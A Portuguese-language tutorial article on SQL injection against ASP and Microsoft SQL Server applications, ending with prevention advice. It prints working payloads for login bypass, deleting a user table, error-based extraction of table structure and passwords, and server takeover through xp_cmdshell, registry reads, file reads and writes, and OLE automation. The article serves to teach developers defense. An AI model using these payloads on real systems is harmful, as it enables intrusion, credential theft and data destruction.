SQL Injection
Esse artigo ensina sobre o SQL Injection que é uma classe de ataque onde o invasor pode inserir ou manipular consultas criadas pela aplicação, que são enviadas diretamente para o banco de dados relacional.
Segurança sempre foi e será um tema que preocupa todos nós, seja em casa, nas ruas ou no trabalho. Quando falamos de segurança em informática, não existe um só departamento de uma única empresa que não tenha também esta preocupação. Se questionarmos sobre segurança com desenvolvedores e DBAs, a preocupação será maior ainda, pois são justamente estes dois departamentos os principais responsáveis pelas aplicações que as empresas disponibilizam na rede local (intranet), ou global (internet). São vários os objetos dessa preocupação, mas existe um tema relativamente antigo, desconhecidos por muitos, mas com potencial devastador quando explorado: o SQL Injection, que será o assunto dessa matéria.
O que é SQL Injection?
O SQL Injection é uma técnica de ataque baseada na manipulação do código SQL, que é a linguagem utilizada para troca de informações entre aplicativos e bancos de dados relacionais. Como a maioria dos fabricantes de software utiliza o padrão SQL-92 ANSI (ver Nota 1) na escrita do código SQL, os problemas e as falhas de segurança aqui apresentadas se aplicam a todo ambiente que faz uso desse padrão para troca de informações - o que inclui, por exemplo, servidores Oracle. Nesse artigo foram utilizados servidores da plataforma Microsoft: Internet Information Server, Active Server Pages e Microsoft SQL Server.
Relacionado: Update Triggers: Como proteger tabelas de SQL Injection
O American National Standards Institute (ANSI) é uma organização sem fins lucrativos cuja finalidade é criar padrões de aceitação internacional sobre um determinado assunto.
SQL Injection: O que é? Por que funciona?
SQL Injection é uma classe de ataque onde o invasor pode inserir ou manipular consultas criadas pela aplicação, que são enviadas diretamente para o banco de dados relacional.
Por que o SQL Injection funciona?
- Por que a aplicação aceita dados arbitrários fornecidos pelo usuário (“confia” no texto digitado);
- As conexões são feitas no contexto de um usuário com privilégios altos.
Para entendermos um pouco melhor o que é SQL Injection e por que funciona, vamos analisar exemplos práticos.
Ataques de SQL Injection pela tela de Login
A técnica mais simples de ataque que explora SQL Injection é a que “engana” o formulário login de uma aplicação. Suponha que uma determinada aplicação web faça uso do código exibido na Listagem 1, em que o usuário digita seu nome e senha.
A Figura 1 ilustra como este formulário é exibido para o usuário
O código presente na Listagem 2 mostra como a informação digitada pelo usuário será processada na aplicação web.
Ao digitar o nome e senha (ver Figura 1), a aplicação web dispara uma consulta na tabela “USERS” para confirmação do cadastro do usuário. Se um registro for encontrado, o username será retornado e esta é a confirmação de que o usuário foi autenticado com sucesso. Se a consulta na tabela “USERS” não retornar registros, o usuário não será autenticado.
O principal problema do código da Listagem 2 é o trecho responsável pela montagem do comando sql que será executado (ver Listagem 3).
var sql = "select * from users where username = '" + username +
"' and password = '" + password + "'";
Este código é problemático porque não realiza nenhum tipo de validação nos dados que foram digitados pelo usuário. Isso permite que um usuário mal intencionado, que conheça somente o nome de um usuário válido, consiga “burlar” a digitação da senha informando os seguintes parâmetros na tela de autenticação (ver Listagem 4 )
Username: admin'--
Password:
No exemplo da Listagem 4 o usuário mal intencionado será autenticado com sucesso pois a seqüência de caracteres “--” faz com que todo o restante do comando após esta seqüência seja considerado como comentário. O comando será executado sem retornar erros, pois o código “"' AND PASSWORD = '" + PASSWORD + "'";” não será processado.
Agora suponha que, em oposição ao exemplo anterior, o invasor não tenha conhecimento de um nome de usuário válido. Neste caso, ele pode se autenticar com as credenciais do primeiro usuário cadastrado na tabela “USERS” conforme mostra a Listagem 5.
Username: ' or 1=1--
Password:
A utilização destes parâmetros fará com que a comparação “1=1” seja processada como parte da consulta. Como esta comparação é sempre verdadeira, todos os registros da tabela serão retornados. Como seu resultado esta sendo armazenado em uma variável, o nome do primeiro usuário será considerado. Observe que também neste caso é utilizada a seqüência de caracteres “--” para que o restante do código não seja processado.
Se o invasor estiver mal intencionado, ele pode, por exemplo, excluir todos os registros da tabela “USERS” de modo que nenhum usuário mais tenha acesso ao sistema, conforme exemplificado na Listagem 6.
Username: '; delete from users--
Password:
Neste caso, a única novidade é o caractere “;” que especifica o término de um comando SQL e o início de outro.
Ataques através da interpretação das mensagens de erro
Para manipular os dados em um database, o usuário mal intencionado precisa descobrir a estrutura de alguns objetos. A tabela “USERS” utilizada nos exemplos anteriores poderia ter sido criada e populada através do código exibido na Listagem 7.
create table users
(
id int,
username varchar(255),
password varchar(255),
privs int
)
go
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
go
Suponha que nosso usuário mal intencionado queira cadastrar um usuário nessa tabela. Sem conhecer a estrutura da tabela, ele terá poucas chances de sucesso. Mesmo que ele tenha sorte, o significado das colunas pode não ser claro o bastante – veja o caso da coluna “PRIVS”, responsável pelo armazenamento dos privilégios dos usuários: um usuário mal intencionado poderia inserir o valor “1” nessa coluna, quando na verdade gostaria de atribuir o valor “65535” para que possuísse privilégios administrativos na aplicação.
Felizmente, para este usuário mal intencionado, se as mensagens de erro forem retornadas diretamente da aplicação (comportamento padrão ASP), ele poderá descobrir não só a estrutura da tabela – dependendo do padrão de segurança atribuído ao usuário conectado no banco – mas também alterar e criar objetos diretamente no banco de dados SQL Server. Os exemplos a seguir irão ilustrar essa técnica.
Inicialmente o usuário mal intencionado precisa descobrir os nomes das tabelas e colunas onde as consultas são executadas. Para isso, ele pode utilizar a cláusula HAVING do comando SELECT conforme demonstrado na Listagem 8.
Username: ' having 1=1--
-- Error
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the
select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
Nesse momento o usuário mal intencionado já sabe o nome da tabela (“USERSIS”) e sua primeira coluna (“ID”) e pode continuar reproduzindo este erro, introduzindo agora o nome da coluna descoberta em uma cláusula GROUP BY para descobrir o nome da coluna seguinte (ver Listagem 9).
Username: ' group by users.id having 1=1--
-- Error
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select
list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
Com isso, descobriu-se a coluna seguinte (“USERNAME”) e, em um processo de repetição, obtém-se os nomes de todas as colunas da tabela. Ao final – quando todas as colunas forem utilizadas – o comando não retornará erro e o nosso usuário mal intencionado ficará conhecendo a estrutura da tabela “USERS” (ver Listagem 10).
Username: ' group by users.id, users.username, users.password, users.privs having 1=1--
A consulta processada pelo servidor na Listagem 10 é equivalente ao comando exibido na Listagem 11.
select * from users where username = ''
Com isso o usuário mal intencionado já sabe que a consulta referencia somente a tabela “USERS” e as colunas utilizadas são “ID,USERNAME, PASSWORD, PRIVS” nesta ordem.
Seria interessante descobrir o tipo de dado de cada coluna. Isso pode ser obtido com a utilização de uma mensagem de erro do tipo “type conversion” conforme exibido na Listagem 12.
Username: ' union select sum(username) from users--
-- Error
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation
cannot take a varchar data type as an argument.
/process_login.asp, line 35
Esta técnica se aproveita do fato do SQL Server processar a cláusula SUM antes de verificar se o número de colunas presentes nos dois comandos SELECT (necessário para processar o UNION) são iguais. A tentativa de executar uma soma em uma coluna tipo caracter resulta em uma incompatibilidade, caracterizada pelo erro que descreve a coluna “USERNAME” como VARCHAR. Se por outro lado tentássemos executar a soma de um campo numérico, o erro retornado informaria que o numero de colunas nos dois comandos SELECT é diferente, o que pode ser constatado pelo código presente na Listagem 13.
Username: ' union select sum(id) from users--
-- Error
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement
containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
Esta técnica pode ser utilizada para identificar, de modo aproximado, o tipo de dado de cada coluna em cada tabela no banco de dados. Assim, conhecendo-se as colunas da tabela “USERS”, nosso usuário mal intencionado pode criar um comando INSERT coerente com a estrutura da tabela (ver Listagem 14 ).
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
O problema é que o potencial desta técnica não está limitado a esse tipo de ação. Nosso usuário mal intencionado pode se aproveitar de qualquer mensagem de erro que revele informações sobre o ambiente ou banco de dados que está sendo utilizado. Uma forma de explorar este recurso é através de mensagens relacionadas com conversão de tipo de dados: se você tentar converter um tipo de dado caractere (CHAR) em um tipo de dado numérico (INTEGER), todos os caracteres são retornados na mensagem de erro. Com isso, o usuário mal intencionado pode obter, por exemplo, a versão do SQL Server que você esta utilizando e o sistema operacional. Um exemplo disso pode ser visto na Listagem 15 a seguir.
Username: ' union select @@version,1,1,1--
-- Error
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft]
[ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'Microsoft SQL Server 2000 - 8.00.760 (Intel X86)
Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on
Windows NT 5.2 (Build 3790: Service Pack 1)' to a column of data type int.
/process_login.asp, line 35
Esta mensagem de erro é devido à tentativa de conversão da variável global @@VERSION em um tipo de dado numérico, fato que acontece porque a primeira coluna da tabela “USERS” é numérica.
Esta técnica pode ser utilizada para leitura de qualquer valor em qualquer tabela no banco de dados. Para obter nomes de usuários e senhas, o usuário mal intencionado pode obter o nome dos usuários a partir da tabela “USERS” utilizando o comando exibido na Listagem 16.
Username: ' union select min(username),1,1,1 from users where username > 'a'--
-- Error
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver]
[SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
O que este comando faz é selecionar o menor nome de usuário que é maior do que ‘a’ e depois tenta convertê-lo para um tipo de dado numérico. Com isso, nosso usuário mal intencionado já sabe que a conta “ADMIN” existe. Agora ele pode navegar entre as linhas da tabela substituindo cada novo nome de usuário descoberto na cláusula WHERE (ver Listagem 17).
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
-- Error
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver]
[SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
Uma vez descobertos todos os usuários cadastrados, nosso usuário mal intencionado pode ampliar seus horizontes descobrindo senhas, conforme exibido na Listagem 18.
Username: ' union select password,1,1,1 from users where username = 'admin'--
-- Error
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver]
[SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
Uma forma mais elegante de obter estas informações é concatenar todos os usuários e senhas em uma única seqüência de caracteres e então tentar converter esta seqüência para um tipo de dado numérico. E isso mostra uma outra informação, a de que comandos T-SQL podem ser concatenados na mesma linha sem que seu resultado seja alterado. A Listagem 19 mostra um exemplo disso.
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+ username +'/'+
password from users where username>@ret select @ret as ret into foo end--
Username: ' union select ret,1,1,1 from foo--
-- Error
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver]
[SQL Server]Syntax error converting the varchar value ': admin/r00tr0x!
guest/guest chris/password fred/sesame' to a column of data type int.
/process_login.asp, line 35
Na Listagem 19 o usuário mal intencionado precisou executar dois comandos: o primeiro cria uma tabela “FOO” e insere na coluna “RET” uma seqüência de caracteres. Se o usuário não possuir privilégios para criação de uma tabela permanente, existe a opção de criar uma temporária. O passo seguinte foi tentar converter esta string em um valor numérico.
Estes exemplos dão uma visão superficial da flexibilidade desta técnica. De modo geral, quanto mais detalhada for a mensagem de erro que o usuário mal intencionado recebe, mais fácil o seu trabalho.
Obtendo mais acessos
Uma vez que o usuário mal intencionado adquiriu o controle da estrutura dos objetos do banco de dados, o próximo passo é utilizar os direitos inerentes ao usuário para controle da rede, o que pode ser feito de várias formas:
- A extended stored-procedure XP_CMDSHELL pode ser utilizada para processar comados no contexto do usuário que está executando o serviço do SQL Server no servidor de banco de dados;
- A extended stored procedure XP_REGREAD pode ser utilizada na leitura de chaves do registro e potencialmente o SAM (Security Accounts Manager) – caso o SQL Server esteja sendo executado com Local System Account;
- Pela utilização de outras extended stored procedure no servidor;
- Através a criação de extended stored procedures para execução de aplicativos no contexto do processo do SQL Server;
- O comando BULK INSERT pode ser utilizado na leitura de qualquer arquivo no servidor;
- O comando BCP pode ser utilizado para criação de arquivos arbitrários no servidor;
- As rotinas sp_OACreate e sp_OAGetProperty podem ser utilizadas para criação de aplicações do tipo Ole Automation (ActiveX) que podem executar tudo o que um script ASP pode executar.
Estes são alguns exemplos de ataques mais comuns. É bastante provável que um usuário mal intencionado possa utilizar um cenário não mencionado aqui. Estes cenários foram listados como os mais óbvios em um ataque a um servidor SQL Server através de SQL Injection. Vamos analisar esses pontos.
Ataque a comandos do sistema operacional com XP_CMDSHELL
Extended stored procedures são essencialmente DDLs (Dynamic Link Libraries) compiladas que fazem uso de uma convenção de chamada específica do SQL Server para a execução de suas funções. Elas permitem que aplicações SQL Server tenham acesso a todo o potencial de programação do C/C++ e são um recurso extremamente útil. Um grande número de extended stored procedures já vem embutidas no SQL Server e realizam várias tarefas, como envio de e-mails e interação com o registro do servidor.
XP_CMDSHELL é uma das extended stored procedures que já vem com o SQL Server e que permite a execução de linhas de comandos da mesma forma que executamos no Command Prompt do Windows. A Listagem 20 mostra um exemplo da execução desta rotina com seu resultado.
exec master..xp_cmdshell 'net1 user'
output
-----------------------------------------------------------------------
NULL
User accounts for NULL
-------------------------------------------------------------------------------
Administrator ASPNET Guest
IUSR_LOKI IWAM_LOKI SQLDebugger
SUPPORT_388945a0 WADM_LOKI
The command completed with one or more errors.
NULL
NULL
(10 row(s) affected)
Como o servidor SQL está sempre sendo executado com uma conta de domínio ou como “Local System Account”, o usuário mal intencionado pode fazer um grande estrago utilizando esta rotina (ver Nota 2).
O SQL Server 2005 já vem com a extended stored procedure “XP_CMDSHELL” desabilitada diferentemente do SQL Server 2000, que vem com ela habilitada.
Ataque ao registro com XP_REGREAD
Um outro conjunto de extended stored procedures que já vem embutidas no SQL Server são funções que começam com “XP_REG”. Elas são as seguintes:
- xp_regaddmultistring
- xp_regdeletekey
- xp_regdeletevalue
- xp_regenumkeys
- xp_regenumvalues
- xp_regread
- xp_regremovemultistring
- xp_regwrite
Estas rotinas podem ser utilizadas, por exemplo, para determinar todos os null-session shares do servidor (ver Nota 3), conforme mostra a Listagem 22.
exec master..xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
Value Data
------------------------------ --------- -----
nullsessionshares - Item #1 COMCFG NULL
nullsessionshares - Item #2 DFS
(2row(s)affected)
Null Session Shares são recursos compartilhados utilizados por aplicações que não são executadas no contexto do usuário-por exemplo aplicações executadas como Local System Account.
Através destas rotinas, o usuário mal intencionado pode alterar configurações de um determinado serviço para que ele seja inicializado quando for realizado um boot no servidor.
Ataques através a outras extended stored procedures
A extended stored procedure XP_SERVICECONTROL permite que o usuário inicialize, finalize, pare ou continue um determinado serviço. A Listagem 23 mostra exemplos dessa rotina.
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
Outras extended stored procedures podem ser utilizadas em ataques:
- XP_ENUMDSN (lista os dispositivos ODBC criados no servidor);
- XP_LOGINCONFIG (exibe o modo de segurança do servidor);
- XP_MAKECAB (permite que o usuário crie arquivos compactados no servidor);
- XP_NTSEC_ENUMDOMAINS (exibe os domínios que o servidor tem acesso);
- XP_TERMINATE_PROCESS (finaliza um processo com um PID específico).
Ataque com criação de extended stored procedures
A API das extended stored procedures é relativamente simples, assim como não é muito difícil criar uma DLL que contenha código malicioso. Pode-se enviar uma DLL para um servidor SQL Server utilizando linhas de comando Command Prompt, assim como pode-se utilizar mecanismos de comunicação que podem ser automatizados como downloads HTTP ou scripts FTP.
Uma vez que a DLL esta presente no servidor onde o SQL Server esta instalado, o usuário malicioso pode criar, executar, e excluir uma extended stored procedure utilizando os comandos presentes na Listagem 24.
use master
go
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
go
exec xp_webserver
go
sp_dropextendedproc 'xp_webserver'
go
Ataque pela leitura de arquivos-texto com BULK INSERT
Através do uso do comando BULK INSERT é possível atualizar uma tabela a partir de um arquivo-texto. Assim, o usuário malicioso pode, por exemplo, inserir o conteúdo de um arquivo qualquer do seu servidor em uma tabela e ler o seu conteúdo utilizando qualquer uma das técnicas de mensagens de erro comentadas anteriormente. A Listagem 25 mostra um exemplo disso.
create table foo( line varchar(8000) )
go
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
gov
Ataque que resulta na criação de arquivos com o comando BCP
O usuário mal intencionado pode facilmente criar arquivos no servidor utilizando uma técnica inversa à técnica ilustrada anteriormente. Essa técnica, entretanto, requer a utilização de um utilitário de linha de comando nativo do SQL Server: o BCP (Bulk Copy Program).
Como o BCP acessa o banco de dados através de um processo externo ao SQL Server, é necessário um usuário válido para ativar a conexão. Se o servidor estiver configurado para segurança integrada, o trabalho fica ainda mais fácil. Um exemplo da utilização do BCP pode ser visto na Listagem 26.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa
-Pfoobar
Os parâmetros utilizados aqui são, “-S” para o nome do servidor, “-U” para o nome do usuário SQL e “-P” para a senha deste usuário no servidor SQL. Para utilizar segurança integrada, basta substituir os parâmetros -U e -P por -E.
Criação de scripts ActiveX: sp_OACreate e sp_OAGetProperty
Várias extended stored procedures que já vêm com o SQL Server permitem a criação de scripts ActiveX no SQL Server. Estes scripts têm a mesma funcionalidade de scripts que são executados no contexto do Windows Scripting Host ou de scripts ASP - eles normalmente são escritos em VBScript ou JavaScript, e podem criar objetos e interagir com eles. Um script desses escrito em Transact-SQL pode fazer tudo o que um script ASP ou WSH pode fazer. O exemplo da Listagem 27 utiliza o objeto “WSCRIPT.SHELL” para criar uma instancia do aplicativo Notepad.
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
SQL Injection: como prevenir
Valide sempre os dados digitados pelo usuário
A validação dos dados digitados pelo usuário pode ser um tema aparentemente inofensivo, mas é um dos principais motivos pelo qual se faz possível ataques SQL Injection. Para endereçá-lo, podemos adotar as seguintes abordagens:
- Rejeitar dados que são conhecidamente inválidos;
- Aceitar somente dados que são conhecidamente válidos.
A abordagem (1) possui como principal problema o fato do desenvolvedor não estar necessariamente ciente do que sejam dados inválidos que devem ser modificados, visto que novas formas de “dados inválidos” são sempre descobertos.
A abordagem (2) é a melhor opção e é a que deve ser utilizada. Um exemplo de implementação desta abordagem pode ser visto na Listagem 28 e poderia ser implementado no código da Listagem 2 exibido no inicio deste artigo.
function validate( input )
goodchars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validate = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( goodchars, c ) = 0 ) then
validate = false
exit function
end if
next
end function
Crie usuários com permissões adequadas
Nunca se deve conectar no servidor SQL Server com um usuário genérico que seja proprietário do banco ou administrador do servidor. Este item é o segundo mais importante para a prevenção de ataques SQL Injection.
Nunca retorne as mensagens do servidor SQL para o usuário
Não retorne mensagens de erro do banco de dados diretamente para o usuário. Estas mensagens podem revelar informações importantes sobre seu servidor conforme vimos anteriormente.
Remova objetos que não serão utilizados
Muitas extended stored procedures podem ser removidas sem causar impacto para o servidor SQL Server. Se você não se sente seguro a pondo de remover uma determinada expended stored procedure, certifique-se de que nenhum usuário possa utilizá-la.
Remova os bancos de dados de exemplo: PUBS e NORTHWIND.
Habilite logs de segurança no servidor
Habilite os logs de segurança no servidor que achar necessário e certifique-se de que eles são verificados periodicamente. Você pode, por exemplo, habilitar o log das tentativas de login que foram rejeitadas pelo servidor SQL.
Finalizando o papo sobre SQL Injection
Neste artigo vimos que SQL Injection é uma classe de ataque onde o invasor pode manipular consultas criadas pela aplicação. Vimos também através de exemplos práticos que os dois principais fatores que contribuem para este tipo de ataque são a falta de validação dos dados digitados pelo usuário e a utilização de um usuário com altos privilégios pela aplicação. Com esses dados fica bem mais fácil entender a potencialidade dos ataques SQL Injection e, como medida preventiva, trabalhar para que sua aplicação não esteja sujeita a esse tipo de vulnerabilidade.
Saiu na DevMedia!
Saiba mais sobre SQL ;)
- Guia SQL: Neste Guia de Referência você encontrará todo o conteúdo que precisa para aprender sobre a SQL, linguagem de consulta estruturada utilizada por programadores e DBAs para a execução de consultas e comandos nos principais SGBDs do mercado.
- Trabalhando com a linguagem T-SQL: Este artigo apresenta o uso da linguagem T-SQL. Serão discutidos alguns recursos que podem ser usados no desenvolvimento e manipulação na consulta a dados usando a ferramenta SQL Server.
- Conceitos e criação de views no SQL Server: Veja neste artigo como trabalhar com views no SQL Server, aprendendo como utilizar os comandos CREATE, ALTER e DROP VIEW.
Artigos relacionados
-
Artigo
-
Artigo
-
Artigo
-
Artigo
-
Artigo